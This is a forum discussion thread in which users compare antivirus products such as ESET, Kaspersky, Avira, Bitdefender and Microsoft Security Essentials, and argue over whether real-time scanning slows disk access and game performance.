If you look at malwaredomainlist.com, their listings aren't quite as up-to-date, and the malware is often taken down shortly after it gets listed, but you may be able to find some links to exploit kits. They basically do exactly what you said: take advantage of a browser vulnerability to execute arbitrary code and install new malware. I think AV can protect against some of that if it's in the signatures.
Quote:


> Originally Posted by *TheBloodEagle*
> 
> No, he means that computers are fast/powerful enough not to worry about some marginal CPU usage from an AV.


lol I see... I missed the whole point.
Quote:


> Originally Posted by *Fear Before*
> 
> Anyone have experience with both Eset and Kaspersky? How do they compare and which one seems to be the better of the two in terms of protection, resources used, and interruptions?


From what I see when I upload samples to VirusTotal.com, Kaspersky is usually in the top 10 when it comes to successful detection. I didn't pay attention to Eset, so I don't know. I can't speak about performance or interruptions, though.


----------



## azanimefan

Quote:


> Originally Posted by *Fear Before*
> 
> Anyone have experience with both Eset and Kaspersky? How do they compare and which one seems to be the better of the two in terms of protection, resources used, and interruptions?


ESET is serious enterprise level antivirus. I would trust them over Kaspersky just because of their focus on enterprise clients. Kaspersky though is a very nice software.


----------



## zalbard

Quote:


> Originally Posted by *AlphaC*
> 
> Kaspersky found Stuxnet, so they have to be doing something right...


Kaspersky has close ties to Russian government so I wouldn't touch their software with a 10 foot pole.


----------



## Paladin Goo

Quote:


> Originally Posted by *zalbard*
> 
> Kaspersky has close ties to Russian government so I wouldn't touch their software with a 10 foot pole.


Bah, Kaspersky is fine.


----------



## Nightfallx

Kaspersky always made my computer seem sluggish, ESET on the other hand no issue even on computers with a mechanical harddrive.


----------



## cookieboyeli

The best "antivirus" is Adblock Plus with the fanboy.co.nz ultimate list.


----------



## Brutuz

Quote:


> Originally Posted by *Zero4549*
> 
> CPU usage isn't the issue with AV software, storage device rape is.


This. Even on my SSD I can always tell when an AV is scanning, regardless of whether I'm just browsing in Chrome or actually playing any game that streams from the HDD at all.


----------



## randomizer

Quote:


> Originally Posted by *Dyson Poindexter*
> 
> The only AV that works 100% of the time is the one between your ears.


What? This is the one that *fails* most of the time. That is why social engineering is the most effective way to infect a system. Forget trying to exploit robust software, just let the user do the work for you.
Quote:


> Originally Posted by *Brutuz*
> 
> This. Even on my SSD I can always tell when an AV is scanning, regardless of whether I'm just browsing in Chrome or actually playing any game that streams from the HDD at all.


It's not the scheduled scans that kill my performance in a noticeable way, it's the realtime protection. Avast significantly increases the time it takes to start up Cygwin, for example.


----------



## Zero4549

Quote:


> Originally Posted by *randomizer*
> 
> What? This is the one that *fails* most of the time. That is why social engineering is the most effective way to infect a system. Forget trying to exploit robust software, just let the user do the work for you.
> It's not the scheduled scans that kill my performance in a noticeable way, it's the realtime protection. Avast significantly increases the time it takes to start up Cygwin, for example.


When you have to halt every I/O operation, run a scan, check against a database that may or may not actually be on you computer and thus may require a internet transfer, process the results, and then flag it as safe and allow the OS to actually continue the original operation, you're gonna need some seriously over provisioned CPU cores, RAM, and have basically everything you ever intend to use on a RAMdisk if you don't want to notice _any_ slowdown.

That ramdisk part is the issue for, well, basically everyone on this website. If you have do to any I/O operation that touches a HDD, SSD, or even flash drive, the AV is going to seriously slow it down unless it chooses to selectively skip certain operations, at which point you may as well not use the real-time feature as it is not really protecting you and likely has terrible scores on tests like these.

So yes, you are correct that real time protection does hinder performance, if it is actually doing its job. Scheduled scans do too, but that is more obvious and you can schedule that for a time you aren't likely using the system of course. Until we get to the point that storage media is no longer the slowest part in a system, this will continue to be the case.


----------



## ldewitt

Malwarebytes PRO+ Microsoft Security Essentials. Been doing this for years and have yet to have an issue.


----------



## mistercoffee1

Quote:


> Originally Posted by *Capt*
> 
> I'm actually surprised people don't use Avira as much, it's honestly the best AV there is out there. It gets updates like twice a day.


I've tried to use this, and want to.
But I don't like how it adds quite a bit of extra time on the Windows Bootup Welcome screen, sometimes more than half a minute.


----------



## Fear Before

Quote:


> Originally Posted by *mistercoffee1*
> 
> I've tried to use this, and want to.
> But I don't like how it adds quite a bit of extra time on the Windows Bootup Welcome screen, sometimes more than half a minute.


I've been using it for awhile now (free version), and it's been working good so far, but I get annoying ads that pop up every hour or so.


----------



## Particle

Bitdefender's free edition works quite well. Once registered (free), it more or less leaves you alone yet sports one of the most effective protection engines. It's also fairly light weight.

Regarding the bloat argument: This runs fine on my Atom-powered tablet. If it doesn't bog down my tablet, there is no excuse for a desktop user to not run AV because of the performance penalty.


----------



## levontraut

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


Have not been using for years too

Quote:


> Originally Posted by *bossie2000*
> 
> These days free Anti-virus just don't cut it anymore!(if you are permantly connected to www) One needs a good internet security option. The onslaught is BIG!!


what?? I am on line 24/7 and had no issues


----------



## Zero4549

Quote:


> Originally Posted by *Particle*
> 
> Bitdefender's free edition works quite well. Once registered (free), it more or less leaves you alone yet sports one of the most effective protection engines. It's also fairly light weight.
> 
> Regarding the bloat argument: This runs fine on my Atom-powered tablet. If it doesn't bog down my tablet, there is no excuse for a desktop user to not run AV because of the performance penalty.


That tablet probably has substantially better storage media performance than most desktops thanks to its NAND memory as opposed to spinning platters.

Remember, modern scanners (especially on modern systems) aren't processor intensive so much as disk intensive, which is horrible really considering that your storage media is always your slowest component.


----------



## ldewitt

What cracks me up is that people dump alot of money into nice systems, and then go with free or no A/V. hehehe


----------



## KSIMP88

Not a lot of difference between free AV and paid AV, besides the dollars.

Besides, most of us who build out own machines have access to other options. Charter, Comcast, and CenturyLink(and many others) offer free security suites that are normally around $60. Also, it is very likely that someone with the knowledge to custom build a PC has the brain capacity to be smart about AV, such as finding out about free AV and reviews and being smart online.

This thread reminds me. I stopped using ZoneAlarm because it did not support Windows 8. Time to download it again! Lol


----------



## ldewitt

Quote:


> Originally Posted by *levontraut*
> 
> dude... what the hell are you saying.
> 
> you have no clue do you. it is common knowledge of the to do's and not to do's.
> 
> just some people have no idea on how to be strict....
> 
> EG:
> I really want to watch that porno movie... but it is on a weirdass site and not a legit one. and and and
> 
> that is one of the biggest ones.
> 
> then the other thing is people downloading applications and click random things that say DOWNLOAD and you click it and it downloads some random Trojan
> 
> those are the stupid people not the ones running with out an AV.
> 
> I had no issues for over 5 years hell one of my buddies has not been running one for longer than me


You can catch spyware and malware without installing things ya know. I guarantee you download malwarebytes free run a scan, it finds something you weren't aware of









BTW: I wasn't dissing the people who don't have it just saying yall crack me up!


----------



## KSIMP88

Quote:


> Originally Posted by *ldewitt*
> 
> You can catch spyware and malware without installing things ya know. I guarantee you download malwarebytes free run a scan, it finds something you weren't aware of
> 
> 
> 
> 
> 
> 
> 
> 
> 
> BTW: I wasn't dissing the people who don't have it just saying yall crack me up!


nothing on my main PC in a LONG time! :-D
Of course, I run CCleaner before I run my scans.
Avast, spybot, malwarebytes

I don't understand *you people*. The Anti malware programs have next to no impact on system performance. When background scans run, they have the lowest priority. On any of the PCs that the posters who don't use AV own, the programs probably wouldn't even cause a single FPS drop in any games.


----------



## levontraut

Quote:


> Originally Posted by *ldewitt*
> 
> You can catch spyware and malware without installing things ya know. I guarantee you download malwarebytes free run a scan, it finds something you weren't aware of
> 
> 
> 
> 
> 
> 
> 
> 
> 
> BTW: I wasn't dissing the people who don't have it just saying yall crack me up!


just downloaded it for ****s and giggles.

came up with a false positive , it said that daemon tools lite was one.

so i ignored it. and uninstalled the application


----------



## KSIMP88

Quote:


> Originally Posted by *levontraut*
> 
> just downloaded it for ****s and giggles.
> 
> came up with a false positive , it said that daemon tools lite was one.
> 
> so i ignored it. and uninstalled the application


I stopped using Daemon Tools years ago... Lol
What do you still use it for?

And are you telling me you did a full scan in less than 19 minutes?
Also... Try Spybot.


----------



## Faster_is_better

Quote:


> Originally Posted by *sherlock*
> 
> I don't see whether these are free or paid version of those Anti-virus software? Did I miss it or did they not mention it.
> 
> Currently using Avast free in addition to Malwarebyte+Ghostery, might consider moving to Bitdefender free given this result.


If they only tested the "antivirus" portion of these software, then most Free versions include the full antivirus protection of paid for versions. Most of the time you just get extra features with paid version, like firewalls, email filtering, etc.

Strange Norton wasn't on there.

Happy to see Avira keeping up in the top ranks


----------



## ldewitt

Quote:


> Originally Posted by *levontraut*
> 
> just downloaded it for ****s and giggles.
> 
> came up with a false positive , it said that daemon tools lite was one.
> 
> so i ignored it. and uninstalled the application


Quote:


> Originally Posted by *KSIMP88*
> 
> I stopped using Daemon Tools years ago... Lol
> What do you still use it for?
> 
> And are you telling me you did a full scan in less than 19 minutes?
> Also... Try Spybot.


Agreed, 19mins full scan? Either you have nothing installed or you did a quick scan. Mine at least takes 40-90 minutes and i have 190GB of my 250GB SSD full.


----------



## levontraut

Quote:


> Originally Posted by *KSIMP88*
> 
> I stopped using Daemon Tools years ago... Lol
> What do you still use it for?
> 
> And are you telling me you did a full scan in less than 19 minutes?
> Also... Try Spybot.


idewet said that he bets me that I have stuff on my rig... so i did a scan to prove him wrong.

I also have a SSD and there is almost nothing on it.


----------



## SwishaMane

Isnt Panda spyware / malware? A professional PC tech (and VERY good friend of mine) swears up and down its malware, and these articles are pure rubbish. Especially that MSE came in last. He's undeniably butt hurt.


----------



## ldewitt

Quote:


> Originally Posted by *levontraut*
> 
> idewet said that he bets me that I have stuff on my rig... so i did a scan to prove him wrong.
> 
> I also have a SSD and there is almost nothing on it.


touché.

Quote:


> Originally Posted by *SwishaMane*
> 
> Isnt Panda spyware / malware? A professional PC tech (and VERY good friend of mine) swears up and down its malware, and these articles are pure rubbish. Especially that MSE came in last. He's undeniably butt hurt.


To each his own, what is his reasoning behind Panda being spyware/malware? MSE is nothing to call home about but i use it as a secondary lightweight A/V.


----------



## Spacedinvader

Quote:


> Originally Posted by *SwishaMane*
> 
> A professional PC tech (and VERY good friend of mine).... Especially that MSE came in last. He's undeniably butt hurt.


Wait, what, he RECOMMENDS MSE?!!?


----------



## Brutuz

Quote:


> Originally Posted by *Particle*
> 
> Regarding the bloat argument: This runs fine on my Atom-powered tablet. If it doesn't bog down my tablet, there is no excuse for a desktop user to not run AV because of the performance penalty.


I certainly can notice it on my i5 3570k, some people are just more sensitive to that kind of thing than others.
Quote:


> Originally Posted by *ldewitt*
> 
> What cracks me up is that people dump alot of money into nice systems, and then go with free or no A/V *with absolutely no negative consequences in at least 5 years of doing so.* hehehe


Fixed that for you. I randomly install and scan to make 100% (Every 6 months or so typically) and have nearly always ended up with a few cookies at most.
Quote:


> Originally Posted by *KSIMP88*
> 
> I don't understand *you people*. The Anti malware programs have next to no impact on system performance. When background scans run, they have the lowest priority. On any of the PCs that the posters who don't use AV own, the programs probably wouldn't even cause a single FPS drop in any games.


Yet I see it every single time I install an AV or when someone claims this...The fact is an AV is always going to add additional latency to a HDD or SSD regardless of CPU usage and that games that stream data from the HDD to the point where it can become the bottleneck (Fallout NV, Skyrim, The Sims 2, 3 and likely 4 for example) easily lose FPS when you're scanning and playing. It was quite a difference in Skyrim for me, literally the same as going from my GTX 470 to my HD7950.


----------



## ldewitt

Quote:


> Originally Posted by *Brutuz*
> 
> I certainly can notice it on my i5 3570k, some people are just more sensitive to that kind of thing than others.
> Fixed that for you. I randomly install and scan to make 100% (Every 6 months or so typically) and have nearly always ended up with a few cookies at most.
> Yet I see it every single time I install an AV or when someone claims this...The fact is an AV is always going to add additional latency to a HDD or SSD regardless of CPU usage and that games that stream data from the HDD to the point where it can become the bottleneck (Fallout NV, Skyrim, The Sims 2, 3 and likely 4 for example) easily lose FPS when you're scanning and playing. It was quite a difference in Skyrim for me, literally the same as going from my GTX 470 to my HD7950.


mmmmkay


----------



## SwishaMane

Quote:


> Originally Posted by *ldewitt*
> 
> touché.
> To each his own, what is his reasoning behind Panda being spyware/malware? MSE is nothing to call home about but i use it as a secondary lightweight A/V.


IDK what his reasoning is, but he swore on his god its malware. I dont use AV, so IDK.


----------



## KSIMP88

Quote:


> Originally Posted by *Brutuz*
> 
> I certainly can notice it on my i5 3570k, some people are just more sensitive to that kind of thing than others.
> Fixed that for you. I randomly install and scan to make 100% (Every 6 months or so typically) and have nearly always ended up with a few cookies at most.
> Yet I see it every single time I install an AV or when someone claims this...The fact is an AV is always going to add additional latency to a HDD or SSD regardless of CPU usage and that games that stream data from the HDD to the point where it can become the bottleneck (Fallout NV, Skyrim, The Sims 2, 3 and likely 4 for example) easily lose FPS when you're scanning and playing. It was quite a difference in Skyrim for me, literally the same as going from my GTX 470 to my HD7950.


on your system? I am calling you out. What a load of bogus.


----------



## ldewitt

Quote:


> Originally Posted by *KSIMP88*
> 
> on your system? I am calling you out. What a load of bogus.


Lol, his i5 stands above my 8350(stock) and he notices performance drag with a a/v? I don't believe it either, I can download a movie (capped at 500mb/s), play Battlefield 4(multiplayer 64players), and scan for viruses I sense nothing.


----------



## ldewitt

Quote:


> Originally Posted by *SwishaMane*
> 
> IDK what his reasoning is, but he swore on his god its malware. I dont use AV, so IDK.


Hmm well i guess for the price of panda we wont find out









Just kidding got a lot cheaper than i had remembered lol


----------



## Zero4549

Quote:


> Originally Posted by *ldewitt*
> 
> Lol, his i5 stands above my 8350(stock) and he notices performance drag with a a/v? I don't believe it either, I can download a movie (capped at 500mb/s), play Battlefield 4(multiplayer 64players), and scan for viruses I sense nothing.


Right, cause BF4 is oh so very disk intensive







.

Sometimes I wish we had two different OCNs, one for "gamers", and one for everyone else.

Alas, I wouldn't know which one to choose.


----------



## ldewitt

Quote:


> Originally Posted by *Zero4549*
> 
> Right, cause BF4 is oh so very disk intensive
> 
> 
> 
> 
> 
> 
> 
> .
> 
> Sometimes I wish we had two different OCNs, one for "gamers", and one for everyone else.
> 
> Alas, I wouldn't know which one to choose.


Lol more than surfing the web, what's your point Jacky.


----------



## Zero4549

Quote:


> Originally Posted by *ldewitt*
> 
> Lol more than surfing the web, what's your point Jacky.


Actually, surfing the web is a LOT more disk intensive than BF4.

Not that web surfing had anything to do with my statement, but apparently you needed to bring that up.

The vast majority of everyday tasks are bottlenecked by either your storage media, or your internet connection (or both), as are many professional softwares, and even _some_ games.

Using one of the few computer tasks that _isn't_ impacted in any meaningful way by disk performance as your benchmark for the performance hit an AV program has, is akin to measuring your car's physical velocity by checking speedtest.net.


----------



## ldewitt

Quote:


> Originally Posted by *Zero4549*
> 
> Actually, surfing the web is a LOT more disk intensive than BF4.
> 
> Not that web surfing had anything to do with my statement, but apparently you needed to bring that up.
> 
> The vast majority of everyday tasks are bottlenecked by either your storage media, or your internet connection (or both), as are many professional softwares, and even _some_ games.
> 
> Using one of the few computer tasks that _isn't_ impacted in any meaningful way by disk performance as your benchmark for the performance hit an AV program has, is akin to measuring your car's physical velocity by checking speedtest.net.


Good points, I don't believe all I read on the internet thought. Thanks for the computer science lesson though.
Yeah, I realize its way past beta but it can't be that big of a turn around....


----------



## Brutuz

Quote:


> Originally Posted by *KSIMP88*
> 
> on your system? I am calling you out. What a load of bogus.


Quote:


> Originally Posted by *ldewitt*
> 
> Lol, his i5 stands above my 8350(stock) and he notices performance drag with a a/v? I don't believe it either, I can download a movie (capped at 500mb/s), play Battlefield 4(multiplayer 64players), and scan for viruses I sense nothing.


It's a simple fact, having something accessing the SSD is going to slow down other transfers just like how running something even only mildly intensive on a CPU is going to slow down other tasks. Games like Skyrim, Fallout NV and The Sims 3 are constantly loading tonnes of textures and data into the RAM and vRAM whereas BF4 tends to load nearly everything at once when the game itself loads afaik. That's why with a few mods Skyrim or Fallout can cause it to lag on even 7200rpm HDDs and literally make them require SSDs to run properly.
Quote:


> Originally Posted by *ldewitt*
> 
> Good points, I don't believe all I read on the internet thought. Thanks for the computer science lesson though.
> Yeah, I realize its way past beta but it can't be that big of a turn around....


That graph has exactly nothing to do with HDD/SSD utilization which is what we're talking about...and if it had something to do with CPU utilization it'd make sense that my i5 would show it more than your FX-8350, as more cores help with multi-tasking.


----------



## KSIMP88

Quote:


> Originally Posted by *Brutuz*
> 
> It's a simple fact, having something accessing the SSD is going to slow down other transfers just like how running something even only mildly intensive on a CPU is going to slow down other tasks. Games like Skyrim, Fallout NV and The Sims 3 are constantly loading tonnes of textures and data into the RAM and vRAM whereas BF4 tends to load nearly everything at once when the game itself loads afaik. That's why with a few mods Skyrim or Fallout can cause it to lag on even 7200rpm HDDs and literally make them require SSDs to run properly.
> That graph has exactly nothing to do with HDD/SSD utilization which is what we're talking about...and if it had something to do with CPU utilization it'd make sense that my i5 would show it more than your FX-8350, as more cores help with multi-tasking.


Nope. Still calling bogus. You just think you are better than AV and the geniuses who design it and others who recommend it, just admit it. It's ok to be wrong!


----------



## Brutuz

Quote:


> Originally Posted by *KSIMP88*
> 
> Nope. Still calling bogus. You just think you are better than AV and the geniuses who design it and others who recommend it, just admit it. It's ok to be wrong!


Not really, they do great work and if you'd read my posts you'd read that I do install one occasionally to scan. You're arguing with very simple computer science here: If you have two resources trying to access a piece of hardware, access is going to at least be slightly slower for both. Run two file transfers from an SSD and they won't both go at the max read speed.


----------



## Speedster159

No Norton?


----------



## Derp

Quote:


> Originally Posted by *Speedster159*
> 
> No Norton?


*
Symantec has long contended the file detection and retrospective tests performed by AV-Comparatives are irrelevant. Since those are included in the all-or-nothing package of tests, Symantec hasn't participated for years.

This time around, AV-Comparatives roped in Symantec and G DATA for testing, for informational purposes. The real-world test is exactly the kind of test Symantec believes should be universal, as it exercises the whole product. Symantec would have earned Advanced+ in this test, with a very high detection rate and no false positives*


----------



## Speedster159

Quote:


> Originally Posted by *Derp*
> 
> *
> Symantec has long contended the file detection and retrospective tests performed by AV-Comparatives are irrelevant. Since those are included in the all-or-nothing package of tests, Symantec hasn't participated for years.
> 
> This time around, AV-Comparatives roped in Symantec and G DATA for testing, for informational purposes. The real-world test is exactly the kind of test Symantec believes should be universal, as it exercises the whole product. Symantec would have earned Advanced+ in this test, with a very high detection rate and no false positives*


I see... my bad for not reading the article, but that somewhat makes me feel good for using Norton 360M


----------



## ldewitt

Quote:


> Originally Posted by *KSIMP88*
> 
> Nope. Still calling bogus. You just think you are better than AV and the geniuses who design it and others who recommend it, just admit it. It's ok to be wrong!


Same here he says were talking about HDD/ssds no we were just talking about ssds and let's face it if any performance decrease that would happen wouldn't be affected on the hard drive as much as the CPU if were using a ssd these guys are just trolling, can't face it no body knows everything. Jeez kids get a grip

PS: zero was talking about CPU load, I don't think browsing the web effects hard drive to any high degree...


----------



## DuckieHo

Quote:


> Originally Posted by *Brutuz*
> 
> Yet I see it every single time I install an AV or when someone claims this...The fact is an AV is always going to add additional latency to a HDD or SSD regardless of CPU usage and that games that stream data from the HDD to the point where it can become the bottleneck (Fallout NV, Skyrim, The Sims 2, 3 and likely 4 for example) easily lose FPS when you're scanning and playing. It was quite a difference in Skyrim for me, literally the same as going from my GTX 470 to my HD7950.


Nope.

Many AV run at lower priorities.
Running games are in memory.
How other other I/O operates occur when doing anything?
SSDs generally have throughput and IOPs to spare in consumer usage.

Just look at the disk telemetry data....


----------



## Brutuz

Quote:


> Originally Posted by *ldewitt*
> 
> Same here he says were talking about HDD/ssds no we were just talking about ssds and let's face it if any performance decrease that would happen wouldn't be affected on the hard drive as much as the CPU if were using a ssd these guys are just trolling, can't face it no body knows everything. Jeez kids get a grip
> 
> PS: zero was talking about CPU load, I don't think browsing the web effects hard drive to any high degree...


You really have absolutely no idea what you're talking about, do you? I'm talking about *something I experience every time I install an AV* and you're sitting there trying to tell me that what I see with my own two eyes is incorrect.

Also, web browsing *does* effect ...I also can notice if I'm loading my SSD when I'm browsing web-pages, plus Tom's Hardware showed that web page loading times could be drastically effected by merely having real time protection enabled. Also, notice how apart from the synthetic benchmarks they mostly back up what I've been saying? Application installation (LibreOffice) was much quicker (ie. 30 second difference) with GFI VIPRE AV or no AV than it was with every other AV they tested, even in synthetic PCMark graphics test no AV got 10fps higher than *all* of the AV configurations too...Care to provide proof that those benchmarks and my real world experiences are wrong or are you just going to keep assuming that I have no idea what I'm talking about?
Quote:


> Originally Posted by *DuckieHo*
> 
> Nope.
> 
> Many AV run at lower priorities.
> Running games are in memory.
> How other other I/O operates occur when doing anything?
> SSDs generally have throughput and IOPs to spare in consumer usage.
> 
> Just look at the disk telemetry data....


I was specifically referring to games that can require large amounts of reads/writes to the SSD/HDD like The Sims 3, Skyrim, Fallout 3/NV and even Minecraft at times, all of those either benefit greatly from running on an SSD over a HDD with zero other hardware differences among others. TS3 is loading sim data, textures, thumbnails for the catalogue, etc nearly all the time...I remember playing it on a HDD and getting a 10 second long pause if I went into Buy Mode while it loaded the thumbnails and objects, even with an SSD there's a small but noticeable load whenever I go to see what an item actually looks like outside of the thumbnail. Skyrim and both Fallouts can also be bottlenecked by a HDD (Or even an SSD, strangely enough. I'd personally have thought otherwise but I definitely have more stutter with an AV on and scanning than with none) because they're streaming textures from the game directory all the time. Minecraft is saving and loading the world in small files from the disk, which is also why there's a tonne of tutorials and results for how to create a RAMDisk specifically just to have Minecraft run from....A RAMDisk isn't really going to go far to help a CPU or GPU bottleneck.

I've already looked at the disk telemetry data many times while trying to work out how to increase performance in those games and it only further proves my point, especially when in TS3 at least you've got my CPU not even ramping up to full clock speeds and the GPU sitting at around 30-50% usage with the rare jump to ~70% and yet the FPS still randomly dips from 60, usually not in time with a spike in CPU or GPU usage but SSD throughput...


----------



## iSlayer

Well today I learned that gamebryo is an even worse engine than I thought and my opinion of it wasn't very high to begin with.

So besides this what has listed MSE as so fatally bad that its mocked as an AV choice? The fact its lightweight or that its from MS? Seems like people are insecure about their AV choices...


----------



## ldewitt

Quote:


> Originally Posted by *ldewitt*
> 
> Same here he says were talking about HDD/ssds no we were just talking about ssds and let's face it if any performance decrease that would happen wouldn't be affected on the hard drive as much as the CPU if were using a ssd these guys are just trolling, can't face it no body knows everything. Jeez kids get a grip


Quote:


> Originally Posted by *Brutuz*
> 
> You really have absolutely no idea what you're talking about, do you? I'm talking about *something I experience every time I install an AV* and you're sitting there trying to tell me that what I see with my own two eyes is incorrect.
> 
> Also, web browsing *does* effect ...I also can notice if I'm loading my SSD when I'm browsing web-pages, plus Tom's Hardware showed that web page loading times could be drastically effected by merely having real time protection enabled. Also, notice how apart from the synthetic benchmarks they mostly back up what I've been saying? Application installation (LibreOffice) was much quicker (ie. 30 second difference) with GFI VIPRE AV or no AV than it was with every other AV they tested, even in synthetic PCMark graphics test no AV got 10fps higher than *all* of the AV configurations too...Care to provide proof that those benchmarks and my real world experiences are wrong or are you just going to keep assuming that I have no idea what I'm talking about?
> I was specifically referring to games that can require large amounts of reads/writes to the SSD/HDD like The Sims 3, Skyrim, Fallout 3/NV and even Minecraft at times, all of those either benefit greatly from running on an SSD over a HDD with zero other hardware differences among others. TS3 is loading sim data, textures, thumbnails for the catalogue, etc nearly all the time...I remember playing it on a HDD and getting a 10 second long pause if I went into Buy Mode while it loaded the thumbnails and objects, even with an SSD there's a small but noticeable load whenever I go to see what an item actually looks like outside of the thumbnail. Skyrim and both Fallouts can also be bottlenecked by a HDD (Or even an SSD, strangely enough. I'd personally have thought otherwise but I definitely have more stutter with an AV on and scanning than with none) because they're streaming textures from the game directory all the time. Minecraft is saving and loading the world in small files from the disk, which is also why there's a tonne of tutorials and results for how to create a RAMDisk specifically just to have Minecraft run from....A RAMDisk isn't really going to go far to help a CPU or GPU bottleneck.
> 
> I've already looked at the disk telemetry data many times while trying to work out how to increase performance in those games and it only further proves my point, especially when in TS3 at least you've got my CPU not even ramping up to full clock speeds and the GPU sitting at around 30-50% usage with the rare jump to ~70% and yet the FPS still randomly dips from 60, usually not in time with a spike in CPU or GPU usage but SSD throughput...


Apparently i don't know what i'm talking about because your hogging all the right answers....







BTW your system sucks if you see performance issues with a A/V just saying. I run *TWO* and see no effect....thanks for all your "right" answers though


----------



## ldewitt

Quote:


> Originally Posted by *iSlayer*
> 
> Well today I learned that gamebryo is an even worse engine than I thought and my opinion of it wasn't very high to begin with.
> 
> So besides this what has listed MSE as so fatally bad that its mocked as an AV choice? The fact its lightweight or that its from MS? Seems like people are insecure about their AV choices...


I think that because windows defender was so terrible, MSE gets a bad rap sheet.....not saying its the best, but it's definitely a start....


----------



## Spacedinvader

http://www.theregister.co.uk/2014/07/29/antivirus_blood_splattered_as_biz_warned_audit_or_die/

Interestingly, the ones at the top of the list are the ones mentioned...


----------



## Jbgough123

It's been a good 3-4 years for me since using any type of protection or anti virus. I usually do a clean wipe or reformat once a year just because im OCD like that anyways but i've never had any issue yet so thats how i'll keep doing it. Makes you wonder how people even get them in the first place.


----------



## ldewitt

Quote:


> Originally Posted by *Jbgough123*
> 
> Makes you wonder how people even get them in the first place.


P0rn.


----------



## Techie007

Quote:


> Originally Posted by *ldewitt*
> 
> Quote:
> 
> 
> 
> Originally Posted by *Jbgough123*
> 
> Makes you wonder how people even get them in the first place.
> 
> 
> 
> P0rn.
Click to expand...

 So _that's_ why I never get viruses on my unprotected machines. Apparently that stuff isn't just bad for people, it gets machines too!









@*Brutuz*, I agree with what you posted about the impact A/V software has on systems. The impact is extremely noticeable on systems with a HDD as the boot disk.


----------



## banded1

Quote:


> Originally Posted by *Techie007*
> 
> Apparently that stuff isn't just bad for people, it gets machines too!


bad for people? other than those directly involved who could be adversely affected by it? im not the biggest watcher of it by any means, but i dont see how watching it could be somehow damaging.

im on the side of using stuff like malwarebytes and such as a check up more than 24/7 protection. most of the stuff that ends up on systems is put there by users not knowing what theyre doing. no amount of AV is going to help that. sure theres the early warning, but if youre downloading stuff or being asked to install stuff and you dont know why. you probably shouldnt be doing it. and if youre in that situation where things are saying they need to be installed and you dont know why, its probably well beyond too late.

on the side of "adult viewing sites" and getting infected; anyone who isnt completely stupid or living under a rock would know which places are going to be pretty safe. those sites dont gain anything by intentionally infecting users or being shady. they need those people to stay around.


----------



## 331149

Quote:


> Originally Posted by *frickfrock999*
> To be honest, I never expected Microsoft to do so poorly. At least not dead last.


Oh I did. It's nothing new that Microsoft antivirus has been doing poorly for years.


----------



## ldewitt

Quote:


> Originally Posted by *Techie007*
> 
> @Brutuz, I agree with what you posted about the impact A/V software has on systems. The impact is extremely noticeable on systems with a HDD as the boot disk.


----------



## Brutuz

Quote:


> Originally Posted by *ldewitt*
> 
> Apparently i don't know what i'm talking about because your hogging all the right answers....
> 
> 
> 
> 
> 
> 
> 
> BTW your system sucks if you see performance issues with a A/V just saying. I run *TWO* and see no effect....thanks for all your "right" answers though


I posted proof, showing a 10fps drop in PCMark for *all* AV configurations and quite a decent climb in web page load times for nearly all of the AV configurations among other performance losses. You're disagreeing with hard, proven facts...I'm not even going to bother replying after this because you're clearly just trolling as you've just posted "But you're wrong!" over and over without any actual proof or it even making sense in theory. (Two resources wanting to access hardware mean both are going to have slightly slower access than if they were just accessing it one at a time...
Quote:


> Originally Posted by *Techie007*
> 
> @*Brutuz*, I agree with what you posted about the impact A/V software has on systems. The impact is extremely noticeable on systems with a HDD as the boot disk.


Thank you, although I even notice it with my SSD as the boot disk especially in the games I posted and somewhat with web browsing and the like.


----------



## ldewitt

Quote:


> Originally Posted by *Brutuz*
> 
> I posted proof, showing a 10fps drop in PCMark for *all* AV configurations and quite a decent climb in web page load times for nearly all of the AV configurations among other performance losses. You're disagreeing with hard, proven facts...I'm not even going to bother replying after this because you're clearly just trolling as you've just posted "But you're wrong!" over and over without any actual proof or it even making sense in theory. (Two resources wanting to access hardware mean both are going to have slightly slower access than if they were just accessing it one at a time...
> Thank you, although I even notice it with my SSD as the boot disk especially in the games I posted and somewhat with web browsing and the like.


K


----------



## BeerPowered

Quote:


> Originally Posted by *DuckieHo*
> 
> Nope.
> 
> Many AV run at lower priorities.
> Running games are in memory.
> How other other I/O operates occur when doing anything?
> SSDs generally have throughput and IOPs to spare in consumer usage.
> 
> Just look at the disk telemetry data....


The ONLY thing performance wise an AV affect is load times DURING an intensive full scan, AND ONLY when it is scanning the disk your game is installed on. So if you have a crappy HDD and run a game like DA2 or Skyrim which have lots of load screens, it will impact those load times. Other than that having an A/V installed doesn't affect performance period.

As for people saying they go 5 years without a virus:
Of course you don't! You don't have an active scanner, so you don't know if you are infected or not. Most viruses/Malware wait until your system is idle before they do what they are programmed to do which is why you don't see any performance impact. I guarantee if any professional did an audit of your system they would find some nasty stuff hidden away that you had no clue about.

Any GOOD virus/malware can hide from AV Post scans, which is another reason you don't detect them.

Also you can get a Virus just from loading this website, Youtube, or any site that hosts ads. Its every site on the web you need to worry about, not just shady porn sites. They don't require your permission to install, you just have to load the infected ad/page.


----------



## deepor

Quote:


> Originally Posted by *BeerPowered*
> 
> The ONLY thing performance wise an AV affect is load times DURING an intensive full scan, AND ONLY when it is scanning the disk your game is installed on. So if you have a crappy HDD and run a game like DA2 or Skyrim which have lots of load screens, it will impact those load times. Other than that having an A/V installed doesn't affect performance period.
> 
> As for people saying they go 5 years without a virus:
> Of course you don't! You don't have an active scanner, so you don't know if you are infected or not. Most viruses/Malware wait until your system is idle before they do what they are programmed to do which is why you don't see any performance impact. I guarantee if any professional did an audit of your system they would find some nasty stuff hidden away that you had no clue about.
> 
> Any GOOD virus/malware can hide from AV Post scans, which is another reason you don't detect them.
> 
> Also you can get a Virus just from loading this website, Youtube, or any site that hosts ads. Its every site on the web you need to worry about, not just shady porn sites. They don't require your permission to install, you just have to load the infected ad/page.


The AV's job is to intercept anything read and written from and to the drive. It can potentially block any program that's accessing something, only let it continue processing after taking a look at what was read or written. No idea how bad that performance impact is, but Brutuz tried to find something about this.

The article linked by SpacedInvader is pretty interesting. The guys talked about in that article argue that Windows and the browser by itself might be more secure than the same software on a system with an AV. That's because the AV is basically "infecting" everything running on the PC, so might be breaking the security features built into Windows and the browser. Viruses could get a chance to work around those by attacking the AV, which will then give access to the whole system, bypassing anything worked on by Microsoft and Google and Mozilla.

I do incremental backups after a day's worth of work and don't scan for those, but I usually do a complete scan before the complete backups which are something done after a week worth of work or so. Those complete scans might be sabotaged by a virus, right? No idea what to do about that.


----------



## BeerPowered

Quote:


> Originally Posted by *deepor*
> 
